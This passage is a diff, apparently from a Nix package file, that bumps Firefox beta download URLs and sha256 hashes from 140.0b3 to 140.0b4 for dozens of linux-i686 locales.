-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/en-US/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/en-US/firefox-140.0b4.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "71ae3e6d03e16c80d8f7f41e79954a4dfb9aaac6df0bc04264672cf4027b0488";
+      sha256 = "45a4c9e6e1f2119bbccf4e2bb5a285ee5fb2c9003adbf15931f4c6f781d67c2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/eo/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/eo/firefox-140.0b4.tar.xz";
       locale = "eo";
       arch = "linux-i686";
-      sha256 = "651ea1186149d9cd455c0b9dbc7c2c7dc70a46963d5690a576acc59cba6e56c7";
+      sha256 = "5caa0619cf07394e3ac1c68a8348ff7f47aaee9587fcd0a50c4346215617b5cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-AR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-AR/firefox-140.0b4.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "d11382ca1dc4b707c5330b06cc9e951bdcaeea3846516195f52027e2c557bbbd";
+      sha256 = "d224e1606ccb29e5f73626cdfca835d01ede2f4b746de8b139308665bae59f71";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-CL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-CL/firefox-140.0b4.tar.xz";
       locale = "es-CL";
       arch = "linux-i686";
-      sha256 = "9e26cf06cc5e01059711dd2d79dc25cf8635b28d17eba1f0d08c25eb61305a01";
+      sha256 = "343b33976f5db469de0eb6b025be4d5373191c9b7173d16d89a1dbb2cee118e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-ES/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-ES/firefox-140.0b4.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "164c2f0347d9244651104c835d75d9f4093218a0f67ea7709cb1f4162ee294d5";
+      sha256 = "0462fcae5b37d56c6b5a0a537aae8dd5f8909eb9014824450179c9440fcf9451";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/es-MX/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/es-MX/firefox-140.0b4.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "bd092ea5d5dd484a092605d72fce5358e86537e89a9a7a8974dd6576b02c8bf4";
+      sha256 = "51cc0b92eb8c5948cd8f1ad2c2b0cbc6484f1de3da813761d48717f1a8b198c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/et/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/et/firefox-140.0b4.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "3d19ddfefeabd49b3703fcfb0708bb6a46b19ad8bda204f91d4901e059b4d5ad";
+      sha256 = "02def4898b2b63c80c5acf9e4265b84875645f309d6954518fae3767f419ea18";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/eu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/eu/firefox-140.0b4.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "b02d55efc88c1b8348dd719a599b568363db17923d5fcfb26952d551940557a3";
+      sha256 = "39fa560b9fadfbf7f29d1e0352f60109ea9edd25f341542a0965bf9d6912baff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fa/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fa/firefox-140.0b4.tar.xz";
       locale = "fa";
       arch = "linux-i686";
-      sha256 = "043510f251a179077cb270d628d9cca62785f746668c5bf8291ad8907b624b2b";
+      sha256 = "e9685986383fc1a660d1548d0e86e1f6d6b24997dab0bb6cbcffdae57aec743d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ff/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ff/firefox-140.0b4.tar.xz";
       locale = "ff";
       arch = "linux-i686";
-      sha256 = "8f52a213ab4f324f5fd94ba105c2c1e9970d69af93b2f9b30311a8bd7da615d8";
+      sha256 = "43805aadb07a9df678c40e29b4581a1a21adae6540a979a180acbd005ad66505";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fi/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fi/firefox-140.0b4.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "efae201318b19f549e69cb5aa4f59dc1bc87d682b40362203e25a5c1371b6d2f";
+      sha256 = "42ff002d3533302a4005e45d21c1fb4d2bb33dd34da84f376e0215afeae40ee9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fr/firefox-140.0b4.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "e43116b71ad9f1b9158187c3a4299c36e5719da985d00be7a871bdeada36b192";
+      sha256 = "daf13073c63bbb8f1c83e64f7ae8238105f0b24490492bb171381b8359835ba4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fur/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fur/firefox-140.0b4.tar.xz";
       locale = "fur";
       arch = "linux-i686";
-      sha256 = "23740807dd3b010a48486200bfa8ed888beb9b4e0aafa83b241409954f93365f";
+      sha256 = "b77e8cd7d890e59391cb0901c428b3af4285d46a8b7b97395256b7211688d445";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/fy-NL/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/fy-NL/firefox-140.0b4.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "49063a53eb3ad9f9c62c859211bd19a9ac55f2b60a277e27bc1d82297e919f19";
+      sha256 = "b29253db8b87cab953abf1381155f8cfa055103720c4252ff4383b0d0bc9b24a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ga-IE/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ga-IE/firefox-140.0b4.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "0deb27c1880f256fef7916633f78423128b1a8ff76a977bfcc265dfa77173a0a";
+      sha256 = "3a73a2bd7d32be4e6ec2bb41bb3b910ed41ecaa678f26cb6283c7c4bf9c1115a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gd/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gd/firefox-140.0b4.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "c3ce807880680a92dfef22fdb9cb8e638dc686a59049c6cf01efab4ac3732ce2";
+      sha256 = "c7d7266fc4f89031ed171dbca0ec522631d4052f21fee6189edf5b25b3253b23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gl/firefox-140.0b4.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "a978a9abb6a675968285efaa76ed1ea89e8741c071ff976ded923e83e242f75d";
+      sha256 = "0705bf96b77ec990537b154dfe739bae3f86db9526ff66eaa9c65e4a21b1e927";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gn/firefox-140.0b4.tar.xz";
       locale = "gn";
       arch = "linux-i686";
-      sha256 = "40d423c64850455905b955f9c84c0aceff20e79a469a654bb04722d1bf04c928";
+      sha256 = "052a95f7cbe122fa15f11b6b6aff20a681dc9f8f17ccf58b3627a6f4eab36122";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/gu-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/gu-IN/firefox-140.0b4.tar.xz";
       locale = "gu-IN";
       arch = "linux-i686";
-      sha256 = "bf94bab9f91d5ea82131e43ed3d432b0261e3b2090c2d2db95fb035e4e961346";
+      sha256 = "a37cb18d401f9dea9e1f3d6200297133653982d2e29f68babde5178b13092820";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/he/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/he/firefox-140.0b4.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "db191d3e2a3fff647a1bf9a955075919de5cb5a376a4a1474a8adac44c3df841";
+      sha256 = "de6d96dd60e87f374535095d01d00cebf5d76002c151318a524711482f05d4e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hi-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hi-IN/firefox-140.0b4.tar.xz";
       locale = "hi-IN";
       arch = "linux-i686";
-      sha256 = "c6a51b472c569cda3b50d7dc9e9d0a36cf820a8a788a8b5b4cdb582f175e7ce5";
+      sha256 = "1dbdb7f28f064e171bb25121f84b3d677e2a0e9825547577dea168e45101408b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hr/firefox-140.0b4.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "54aca88fb64a6b5141746ad4da23b081a482d94e04a7517b9c731340fa5440df";
+      sha256 = "f8851d7d962ef0cc5b45129b30eec0cb4906ae790b2e4a04171b6aafb1a423ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hsb/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hsb/firefox-140.0b4.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "6c586090e9fe87bc44892ac85637ad540ab5d5e158c17c5f14c68f9f63ee3a74";
+      sha256 = "a8075b7c3682a5c21f0723466e2bc1ff1a87f1648af55b979284564a86591827";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hu/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hu/firefox-140.0b4.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "dea07e07f30d00b08c14b7dbabf5a38cd7911923808cf9224293d32921c2a65a";
+      sha256 = "8562d9f2effeb5c63c99de48586412b1952054f1d35341a960d3c1b68da98a1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/hy-AM/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/hy-AM/firefox-140.0b4.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "5d5fe665856bd0790e63edd43651ff9754608ef8fbaab38a8cae31a1252d1751";
+      sha256 = "13e5bae04b5f2a30fe58e46263618f093efd3e457d1cddc6096148dfe602a2a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ia/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ia/firefox-140.0b4.tar.xz";
       locale = "ia";
       arch = "linux-i686";
-      sha256 = "e90c989cc7c7b8eada6272566265c263eebba4cbab6e258e0d5a2d431b1dd7da";
+      sha256 = "91d6a400ac1c0ee6845677c526ff1c179b369f107ff36535765293b44f1ac43d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/id/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/id/firefox-140.0b4.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "5482412883d928072d3a0e334213199e947cc03fd3db6fc598f7a915976dbbf6";
+      sha256 = "eb086df64f9f18ed83e29b57a897d3652fce933b92e9db72472ef2c7cb36497a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/is/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/is/firefox-140.0b4.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "5684323f967b0edcb1de2199f1ac3d15730bf87b19a0091776b5dabae99c3c1c";
+      sha256 = "3cbfe061954939a9f3d90f790612b921eb644bf792b2ca0cbaaa77b1054b8ca4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/it/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/it/firefox-140.0b4.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "12df3e97e46b5b6291f6317c827381635cc1916c042aa18a3da928646c3298b2";
+      sha256 = "ea608343fba2138887a168ad3251493dea1f537e08745f3108f6962364d47f34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ja/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ja/firefox-140.0b4.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "208ab74c7967a65a4b73edf57d9d8189341007554e6aa75906df6255505b984f";
+      sha256 = "5977a78da473ce233e8d48034f6a04ac519888189cd4f4b3bf314ead6a7b74e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ka/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ka/firefox-140.0b4.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "5f193f7cb6008dfa55e7f2fcfa914c13d44a5d27dd18c291932d913a049d3c54";
+      sha256 = "d4874532ae1e9afe9b4c77ba064cec618cb48c8d90d6e5941fecde77c37c29d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/kab/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/kab/firefox-140.0b4.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "616a5fae71e292e4cfadf83c670879a5436337d859bcdb693498f2318a33e9e0";
+      sha256 = "0a453f53f7e88968f09c8697193aaadf2a0e7036d8a8ed01c7b54b38e61fd8a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/kk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/kk/firefox-140.0b4.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "7e90e3cf6ef7db5c534474a4b7eb458582c914814f5ab3e9faede1aeaedf288f";
+      sha256 = "62279adb30aa4c792beef58eff120112fa9151abd1f74bf40d6f2cd097d453b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/km/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/km/firefox-140.0b4.tar.xz";
       locale = "km";
       arch = "linux-i686";
-      sha256 = "638c185fe326bdbc6e122fa900ed54600abede47bbc702b4c2aeace7fe81ea59";
+      sha256 = "8bfb8f1af400e143c3f795aeecbec5652d9cde304a6551e5bfcbf7cb2a8cc676";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/kn/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/kn/firefox-140.0b4.tar.xz";
       locale = "kn";
       arch = "linux-i686";
-      sha256 = "4f1bce2457170735ca89a1fdd49355b3ce66862eb25c4650018f29786a3e628c";
+      sha256 = "5b1ed6ee0e97d89cc83bf4f8408b409f5e0aeda5b68dbf7fbe2d9867cfc8f4d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ko/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ko/firefox-140.0b4.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "912d16eb2952971879b9a4a12d5bc0596bd26a3a446a0836d644d95322c0d88f";
+      sha256 = "04747f583bf7cf9035a52e584ca76c84798830ccc74c8f6faa46a5af4df74011";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/lij/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/lij/firefox-140.0b4.tar.xz";
       locale = "lij";
       arch = "linux-i686";
-      sha256 = "c9d88715308eb1dc9a7408e70d791619b96bfeb513a497264bbe4b35a2a6c21a";
+      sha256 = "432359d0dfcafeabdb98e7baead22a23c1e9a2e30ad6cdba88fd7f2fbfc9ba8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/lt/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/lt/firefox-140.0b4.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "2a04604e7455fe01534470c36a35fdec6b833c6fbf37a415ad65a2a33ac685eb";
+      sha256 = "3aaf5547d7a0e5cb1fe120de403650a682579540cd4411d113bed81c9e0ee781";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/lv/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/lv/firefox-140.0b4.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "a820fa038bd93794e06cf1e42a69759bbf6cde44196d1103fe7f877602510f8b";
+      sha256 = "2af656a600c244eb615b21e204336bd28549648dc1af363e08ffb8802565f9b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/mk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/mk/firefox-140.0b4.tar.xz";
       locale = "mk";
       arch = "linux-i686";
-      sha256 = "b6417ebc9f7f9f811346bcd013c65ae873bd3b2671d6a0c25f02c9d1fdf15f8e";
+      sha256 = "c0c62629f81a5bb1e1ec256269b2285bbaef67caec7d1c4b8ad8102a72abf180";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/mr/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/mr/firefox-140.0b4.tar.xz";
       locale = "mr";
       arch = "linux-i686";
-      sha256 = "d9600fee7682011fa3eae2b090b50d67bab743c0393c5deff03c5667fa11f78f";
+      sha256 = "dab2b1103c27706124fe8f4f8ff059baf21151cf0e50f8fce2ce40788545a5cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ms/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ms/firefox-140.0b4.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "faffaf6851c21ebd1181c93772f912709bf81ab59b795cf4eb7201a162aedda4";
+      sha256 = "4c4872d23b305cc66b7efcd0d36065ad3aefedf0e0fc53f05881c3708be5782a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/my/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/my/firefox-140.0b4.tar.xz";
       locale = "my";
       arch = "linux-i686";
-      sha256 = "97f5cea2c18b3e07388496fc45126dca7bf58a837eccb14385b2b29701d11108";
+      sha256 = "900e5e7cdb64fc9e1dd966d1fbdcbe2c8086c1ab2be54d2d9f1c2fddb0673cef";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/nb-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/nb-NO/firefox-140.0b4.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "9205b0871af11b98e802ca77f3c8504894cac12cbf1cbfa502767eb975eec6c0";
+      sha256 = "1299f2becf8ab50225fb68d18d1345754d43334d30aa5f3500d674278208b777";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ne-NP/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ne-NP/firefox-140.0b4.tar.xz";
       locale = "ne-NP";
       arch = "linux-i686";
-      sha256 = "449ad603575859ce4627e743d808e5ffbfd2d595c1d492fa764a8cf059816b7f";
+      sha256 = "cf41fc923f63a7f1a4bf720cb3a8fa1595ef92d121d729d7e902cffefaa852fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/nl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/nl/firefox-140.0b4.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "ad5fa26a8566c22f9efd33ca0268736d4a38ffa3309fdf21f98c0a29f60462ad";
+      sha256 = "84b2cbff63025fab413175ad49c47ea734f0823b8eeee7676789f9c27bb9de23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/nn-NO/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/nn-NO/firefox-140.0b4.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "1bd652bbb01825a9ad3efc7991fe315dff9fdc3596d197c413658c055f97efbf";
+      sha256 = "818e77d80fd86e8e27460b8f629f05215c985a80a275f30f3864821d6619db30";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/oc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/oc/firefox-140.0b4.tar.xz";
       locale = "oc";
       arch = "linux-i686";
-      sha256 = "79732be6d97e6f7fb812da0a718998bde7808f571d5a57fd8042d5b33584b79b";
+      sha256 = "5636ac4f5757edde5867ad0d186e6d779dde239fc302962b7f257a5428a5a87c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pa-IN/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pa-IN/firefox-140.0b4.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "85076e967a48f3ba02fd785adbba0af0f6525c133efbda4a3884b5110c4d2a7c";
+      sha256 = "b033beca5afb4fb0c8715d29f2d9e6b0bdb2115d63ff8d5552adc1ebb86f18e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pl/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pl/firefox-140.0b4.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "eef5081b1c72402758b244d7bfe7d1aeec301ccb2b3f1436fe8fac2ed5c8fa22";
+      sha256 = "afeb6ddc491281c001dc98c177bb19120d46fe3d738f777daa2f9c0582faa828";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pt-BR/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pt-BR/firefox-140.0b4.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "eaf150b7ea5496a4cd7648da0ecf507091ba7b4412a037db6ea48dc5614fd6f7";
+      sha256 = "b0d75cf5e760cd505c397dff4fcaafd8f0bed1b416c40beeaa297912b1110f44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/pt-PT/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/pt-PT/firefox-140.0b4.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "81f6ab621772995f3bb3492695e32eaac1d667142e7bd4f6de0bb8825ed5b48c";
+      sha256 = "e1c7cbe5bc38bbeed8cd3abd05ef956366e2f398b70e42b3007342a4e61760bd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/rm/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/rm/firefox-140.0b4.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "f26cd0a09eecdafbac993a9e305f3ec9969906cd06fdff5f5101dce71b7b48f4";
+      sha256 = "ab26f4fb5846a8eca415748e69dc37f33a6d3ab91ff0db384d627553a69fe9a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ro/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ro/firefox-140.0b4.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "6513741a8ac710a7016a33b3e3c00969954db50e3c2ddfa4a2debb5992e4c8ac";
+      sha256 = "483e633f4e2922e521c0492d47d420fcb5a1ff7209d7f42c58952c5e7705fb44";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/ru/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/ru/firefox-140.0b4.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "325d70559d8be33846c519a9aeda98d2a42651daaf9c12602d1d29059029a6b5";
+      sha256 = "dcd3441f6f5a9390407f2794f8d747511215246f5c9a85ac4d6b704bd4bbff9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sat/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sat/firefox-140.0b4.tar.xz";
       locale = "sat";
       arch = "linux-i686";
-      sha256 = "6ab0592eb32fdd72b6e5ac121199d2c7c46320b2e3215fa043112c8c60b72396";
+      sha256 = "1fa56ccd4d66542467487d17ee7e95f847f0920774692a03da8cc14f1cf2ac70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sc/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sc/firefox-140.0b4.tar.xz";
       locale = "sc";
       arch = "linux-i686";
-      sha256 = "7202e3e121225c034724e67f2bd1d0f5dc1359c5c316e76fb45e1522d975a2e2";
+      sha256 = "d626a423d3d02011a9a5090633595add37d6c99fc741ec96a1a66761312bc1ea";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sco/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sco/firefox-140.0b4.tar.xz";
       locale = "sco";
       arch = "linux-i686";
-      sha256 = "a3cfd6eabb41224e3a7ff23b19c2bfe3bee8b662c259eac3ff504d9dd371e4d5";
+      sha256 = "3d8c5bc791c943e82b678918f3459471a3ababef8e44e9ee4257f036b552b813";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/si/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/si/firefox-140.0b4.tar.xz";
       locale = "si";
       arch = "linux-i686";
-      sha256 = "10b49deeca01bf571c8de9a49f18f51bd761d1eef4a00b15eb8740c734a69962";
+      sha256 = "980d3542c6c25d306e1b24404731554d4a21157eb1bf5fc17ab31949d2e5e563";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-i686/sk/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-i686/sk/firefox-140.0b4.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "ea6a2c21f49066ff5bd7e45d7e5cbb6fa1eb737ed111e2fadc325da659cb3e50";
